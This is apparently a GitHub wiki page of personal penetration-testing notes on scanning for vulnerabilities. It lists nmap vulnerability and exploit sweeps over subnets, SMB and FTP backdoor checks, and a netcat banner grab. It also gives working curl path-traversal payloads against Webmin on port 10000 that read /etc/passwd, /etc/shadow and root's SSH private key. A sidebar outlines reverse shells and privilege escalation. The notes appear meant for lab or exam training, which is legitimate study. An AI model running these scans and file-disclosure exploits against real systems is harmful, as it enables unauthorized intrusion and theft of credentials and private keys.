Skip to content

Scan vulnerabilities

lethanhtung01011980 edited this page Apr 12, 2020 · 15 revisions

Goals

  • Scan vulnerabilities from open ports and public services

Search Google for software name

  • To search by images for initial ideas of attacked software

Scan using nmapAutomator

Scan all vuln

  • nmap -v --script=vuln victim-ip -T4

Scan all exploits

  • nmap -v --script exploit -Pn x.x.x.1-254 -oG exploit-sweep.txt
  • nmap -Pn -n -sV --script vuln victim_ip ===> Read the OS version, too.

Scan SMB vulnerabilities

  • nmap -p 139,445 --script=vuln victim_ip
  • nmap -v $ip --script smb-os-discovery.nse

Scan LFI for PHP

Scan LFI for webmin

Attack ref:

File disclosure

  • 5 times: curl http://victim_ip:10000/unauthenticated/..%01/..%01/..%01/..%01/..%01/etc/passwd

  • 40 times: curl http://victim_ip:10000//unauthenticated/..%01/..%01/..%01/..%01/..%01/..%01/..%01/..%01/..%01/..%01/..%01/..%01/..%01/..%01/..%01/..%01/..%01/..%01/..%01/..%01/..%01/..%01/..%01/..%01/..%01/..%01/..%01/..%01/..%01/..%01/..%01/..%01/..%01/..%01/..%01/..%01/..%01/..%01/..%01/..%01/etc/passwd

  • curl http://victim_ip:10000//unauthenticated/..%01/..%01/..%01/..%01/..%01/..%01/..%01/..%01/..%01/..%01/..%01/..%01/..%01/..%01/..%01/..%01/..%01/..%01/..%01/..%01/..%01/..%01/..%01/..%01/..%01/..%01/..%01/..%01/..%01/..%01/..%01/..%01/..%01/..%01/..%01/..%01/..%01/..%01/..%01/..%01/etc/shadow

  • curl http://victim_ip:10000//unauthenticated/..%01/..%01/..%01/..%01/..%01/..%01/..%01/..%01/..%01/..%01/..%01/..%01/..%01/..%01/..%01/..%01/..%01/..%01/..%01/..%01/..%01/..%01/..%01/..%01/..%01/..%01/..%01/..%01/..%01/..%01/..%01/..%01/..%01/..%01/..%01/..%01/..%01/..%01/..%01/..%01/root/.ssh/id_rsa.pub

  • curl http://victim_ip:10000//unauthenticated/..%01/..%01/..%01/..%01/..%01/..%01/..%01/..%01/..%01/..%01/..%01/..%01/..%01/..%01/..%01/..%01/..%01/..%01/..%01/..%01/..%01/..%01/..%01/..%01/..%01/..%01/..%01/..%01/..%01/..%01/..%01/..%01/..%01/..%01/..%01/..%01/..%01/..%01/..%01/..%01/root/.ssh/id_rsa

Scan RFI

  • nmap -Pn -n -sV -p80 --script http-rfi-spider.nse victim_ip

Ref:

Scan for webmin

  • nmap -p 10000 10.11.1.1-254 -oG webmin-sweep.txt
  • grep open webmin-sweep.txt | cut -d" " -f2

To scan for FTP with backdoor

  • ftp-proftpd-backdoor.nse
  • ftp-vsftpd-backdoor.nse
  • ftp-vuln-cve2010-4221.nse

Scan for anonymous FTP

Check SMTP name and version

  • nc victim_ip 25

Sidebar

0. COMMON exploits

1. Scan Info

1.2 Passive Gathering

1.3 Active Gathering

2. Pre-attack

2.2 File transfer

3. Get Reverse Shell

4. Exploits

4.2 Windows Exploits

4.3 Linux Exploits

4.4 Password crack

4.5 Buffer Overflow

4.6 Web attacks

6. Escalate Privilege

6.1 Escalate in Windows

6.2 Escalate in Linux

7. Access and further attacks

8. Port redirection and Tunnelling

9. Metasploit

10. Kali

11. Thirdparty scripts

Clone this wiki locally